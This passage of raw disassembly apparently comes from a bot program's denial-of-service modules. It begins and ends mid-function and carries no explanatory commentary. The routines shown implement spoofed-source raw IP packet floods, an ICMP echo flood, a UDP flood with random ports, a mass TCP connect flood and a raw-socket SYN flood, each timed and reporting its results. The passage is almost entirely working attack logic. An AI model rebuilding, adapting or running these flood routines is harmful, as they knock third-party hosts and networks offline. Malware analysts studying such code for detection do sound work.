[ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_413200 push 41Ch mov byte_4CE3C8, 45h call dword_4CB654 ; htons cmp [ebp+var_2C], edi mov word_4CE3CA, ax mov word_4CE3CC, bx mov word_4CE3CE, di mov byte_4CE3D0, 80h mov byte_4CE3D1, bl mov word_4CE3D2, di jz short loc_4130DB call _rand mov ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax push 1 mov dword_4CE3D4, ebx pop ebx jmp short loc_4130F3 ; --------------------------------------------------------------------------- loc_4130DB: ; CODE XREF: sub_412E9E+20Bj push [ebp+var_1BC] call sub_40AC10 pop ecx push eax call dword_4CB694 ; inet_addr mov dword_4CE3D4, eax loc_4130F3: ; CODE XREF: sub_412E9E+23Bj mov eax, [ebp+var_18] mov dword_4CE3D8, eax call _rand cdq mov ecx, 100h idiv ecx mov byte_4CE3DC, dl call _rand cdq mov ecx, 100h idiv ecx mov byte_4CE3DD, dl call _rand cdq mov ecx, 0F0h push 400h ; Size idiv ecx mov word_4CE3DE, di mov word_4CE3E2, bx inc edx mov word_4CE3E0, dx call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_4CE3E4 ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 10h push eax push edi push 41Ch push offset byte_4CE3C8 push [ebp+var_4] call dword_4CB6B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_41318B inc [ebp+arg_0] jmp loc_413055 ; --------------------------------------------------------------------------- loc_41318B: ; CODE XREF: sub_412E9E+2E3j push [ebp+var_4] call dword_4CB6EC ; closesocket call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset asc_43627C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_24], edi jnz short loc_4131E3 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409A73 add esp, 14h loc_4131E3: ; CODE XREF: sub_412E9E+323j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_38] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread loc_413200: ; CODE XREF: sub_412E9E+1C8j push [ebp+var_4] call dword_4CB6EC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+Dest] push offset asc_436230 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413268 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_409A73 add esp, 14h loc_413268: ; CODE XREF: sub_412E9E+3A8j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_38] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread sub_412E9E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413285 proc near ; DATA XREF: sub_401ACD+5510o var_10320 = byte ptr -10320h Dest = byte ptr -344h var_144 = dword ptr -144h Str = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_4CB5DC ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CB694 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_4132E0 lea eax, [ebp+var_C0] push eax call dword_4CB6D8 ; gethostbyname cmp eax, ebx jz short loc_4132E6 loc_4132E0: ; CODE XREF: sub_413285+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_413343 loc_4132E6: ; CODE XREF: sub_413285+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_43636C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413326 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409A73 add esp, 14h loc_413326: ; CODE XREF: sub_413285+7Fj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_30] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread loc_413343: ; CODE XREF: sub_413285+5Fj cmp eax, ebx jz short loc_413353 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413356 ; --------------------------------------------------------------------------- loc_413353: ; CODE XREF: sub_413285+C0j mov [ebp+var_4], esi loc_413356: ; CODE XREF: sub_413285+CCj push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_413376 mov [ebp+var_3C], eax loc_413376: ; CODE XREF: sub_413285+ECj cmp [ebp+var_38], edi jge short loc_41337E mov [ebp+var_38], edi loc_41337E: ; CODE XREF: sub_413285+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_4133AB loc_413385: ; CODE XREF: sub_413285+124j push [ebp+var_38] lea eax, [ebp+Dst] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CB56C ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_413385 loc_4133AB: ; CODE XREF: sub_413285+FEj push [ebp+arg_0] call dword_4CB70C ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dest] push offset asc_436340 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4133F4 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_144] ; int call sub_409A73 add esp, 14h loc_4133F4: ; CODE XREF: sub_413285+14Dj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_30] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread sub_413285 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413411 proc near ; DATA XREF: sub_401ACD+575Co var_10311 = byte ptr -10311h var_10310 = byte ptr -10310h Dest = byte ptr -334h var_134 = dword ptr -134h Str = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx push 11h push 2 push 2 call dword_4CB6D4 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+Dst], 2 push eax call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_4134F6 lea eax, [ebp+var_B0] push eax call dword_4CB6D8 ; gethostbyname cmp eax, edi jnz short loc_4134EF lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_4363C0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4134D2 push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409A73 add esp, 14h loc_4134D2: ; CODE XREF: sub_413411+9Fj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_20] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_4134EF: ; CODE XREF: sub_413411+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_4134F9 ; --------------------------------------------------------------------------- loc_4134F6: ; CODE XREF: sub_413411+6Ej lea eax, [ebp+arg_0] loc_4134F9: ; CODE XREF: sub_413411+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413514 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413517 ; --------------------------------------------------------------------------- loc_413514: ; CODE XREF: sub_413411+F0j push [ebp+var_24] loc_413517: ; CODE XREF: sub_413411+101j call dword_4CB654 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413529 mov [ebp+var_24], esi loc_413529: ; CODE XREF: sub_413411+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413536 mov [ebp+var_24], eax loc_413536: ; CODE XREF: sub_413411+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_41354A mov [ebp+var_28], esi loc_41354A: ; CODE XREF: sub_413411+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_41356B loc_413551: ; CODE XREF: sub_413411+158j call _rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi+var_10311], dl jl short loc_413551 loc_41356B: ; CODE XREF: sub_413411+13Ej ; sub_413411+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_4135CA push 0Bh pop esi loc_413578: ; CODE XREF: sub_413411+197j lea eax, [ebp+Dst] push 10h push eax push edi call _rand push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CB6B8 ; sendto push [ebp+var_28] call ds:dword_427078 ; Sleep dec esi jnz short loc_413578 cmp [ebp+var_24], edi jnz short loc_41356B call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CB654 ; htons mov [ebp+var_E], ax jmp short loc_41356B ; --------------------------------------------------------------------------- loc_4135CA: ; CODE XREF: sub_413411+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_436394 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_41360A push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409A73 add esp, 14h loc_41360A: ; CODE XREF: sub_413411+1D7j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_20] call sub_40B413 pop ecx pop ecx push edi call ds:dword_4270CC ; ExitThread sub_413411 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413627 proc near ; DATA XREF: sub_401ACD+4DEDo Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_413788 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_4363E8 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4136A7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409A73 add esp, 14h loc_4136A7: ; CODE XREF: sub_413627+5Ej lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_413627 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C6 proc near ; CODE XREF: sub_413788+27p var_654 = byte ptr -654h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB654 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413784 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413711: ; CODE XREF: sub_4136C6+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413719: ; CODE XREF: sub_4136C6+7Aj push 0 push 1 push 2 call ds:dword_427220 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373C lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4271F8 ; ioctlsocket loc_41373C: ; CODE XREF: sub_4136C6+64j add esi, 4 dec ebx jnz short loc_413719 lea esi, [ebp+var_654] mov ebx, edi loc_41374A: ; CODE XREF: sub_4136C6+96j lea eax, [ebp+Dst] push 10h push eax push dword ptr [esi] call ds:dword_427214 ; connect add esi, 4 dec ebx jnz short loc_41374A push 64h call ds:dword_427078 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_41376E: ; CODE XREF: sub_4136C6+B4j push dword ptr [esi] call ds:dword_42721C ; closesocket add esi, 4 dec ebx jnz short loc_41376E dec [ebp+arg_4] jnz short loc_413711 pop edi pop esi pop ebx loc_413784: ; CODE XREF: sub_4136C6+3Ej xor eax, eax leave retn sub_4136C6 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413788(int,char *Str,int) sub_413788 proc near ; CODE XREF: sub_413627+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAFA push [esp+10h+Str] ; Str mov edi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov esi, eax push esi push ebx push edi call sub_4136C6 add esp, 18h test eax, eax jnz short loc_4137BE push 1 pop eax loc_4137BE: ; CODE XREF: sub_413788+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_413788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137CD proc near ; DATA XREF: sub_401ACD+644Ao Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_413B1E add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_436414 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_41384D push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409A73 add esp, 14h loc_41384D: ; CODE XREF: sub_4137CD+5Ej lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_4137CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386C proc near ; CODE XREF: sub_413B1E+3Cp var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h Dst = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 ; WSAStartup test eax, eax jz short loc_4138AC xor eax, eax jmp loc_413B1A ; --------------------------------------------------------------------------- loc_4138AC: ; CODE XREF: sub_41386C+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B12 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB634 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413B08 push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_8] call dword_4CB654 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB654 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB654 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB654 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_427134 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_427130 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call __allmul add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413997: ; CODE XREF: sub_41386C+25Dj ; sub_41386C+26Bj mov [ebp+var_24], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 ; htons mov [ebp+var_34], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4CB654 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_8C] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB6B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413ADC add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_427130 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B05 jl loc_413997 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B05 jmp loc_413997 ; --------------------------------------------------------------------------- loc_413ADC: ; CODE XREF: sub_41386C+247j call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_43643C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 10h jmp short loc_413B08 ; --------------------------------------------------------------------------- loc_413B05: ; CODE XREF: sub_41386C+25Bj ; sub_41386C+269j mov ebx, [ebp+arg_8] loc_413B08: ; CODE XREF: sub_41386C+78j ; sub_41386C+297j push [ebp+var_C] call dword_4CB6EC ; closesocket pop esi loc_413B12: ; CODE XREF: sub_41386C+5Bj call dword_4CB5AC ; WSACleanup mov eax, ebx loc_413B1A: ; CODE XREF: sub_41386C+3Bj pop edi pop ebx leave retn sub_41386C endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_413B1E(int,char *Str,int) sub_413B1E proc near ; CODE XREF: sub_4137CD+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AAFA push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386C add esp, 1Ch test eax, eax jnz short loc_413B69 push 1 pop eax loc_413B69: ; CODE XREF: sub_413B1E+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_413B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B78 proc near ; DATA XREF: sub_401ACD+6E45o Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CB694 ; inet_addr push eax call sub_413C1B pop ecx pop ecx push eax lea eax, [ebp+Dest] push offset asc_43645C ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_413BFC push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409A73 add esp, 14h loc_413BFC: ; CODE XREF: sub_413B78+62j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_413B78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C1B proc near ; CODE XREF: sub_413B78+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Src = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Dst = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CB668 ; gethostname push [ebp+var_4] call dword_4CB6D8 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CB6D4 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CB634 ; setsockopt mov esi, 200h push esi ; Size call _malloc mov edi, ds:dword_4270A8 pop ecx mov [ebp+Dst], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CB654 ; htons mov [ebp+var_96], ax loc_413D36: ; CODE XREF: sub_413C1B+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_413E1C call _rand cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call _rand cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call _rand cdq mov ecx, 1FA4h mov [ebp+Src], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call _rand mov [ebp+var_20], ax call _rand push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CB654 ; htons push esi mov [ebp+var_1E], ax call dword_4CB654 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call _rand push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+Src] push eax call sub_40AC69 mov [ebp+var_1A], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+Dst] push [ebp+var_4] call dword_4CB6B8 ; sendto jmp loc_413D36 ; --------------------------------------------------------------------------- loc_413E1C: ; CODE XREF: sub_413C1B+12Cj push [ebp+Dst] call sub_41B0B1 pop ecx push [ebp+var_4] call dword_4CB6EC ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_413C1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E36 proc near ; DATA XREF: sub_401ACD+53E9o Dest = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch Str = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr 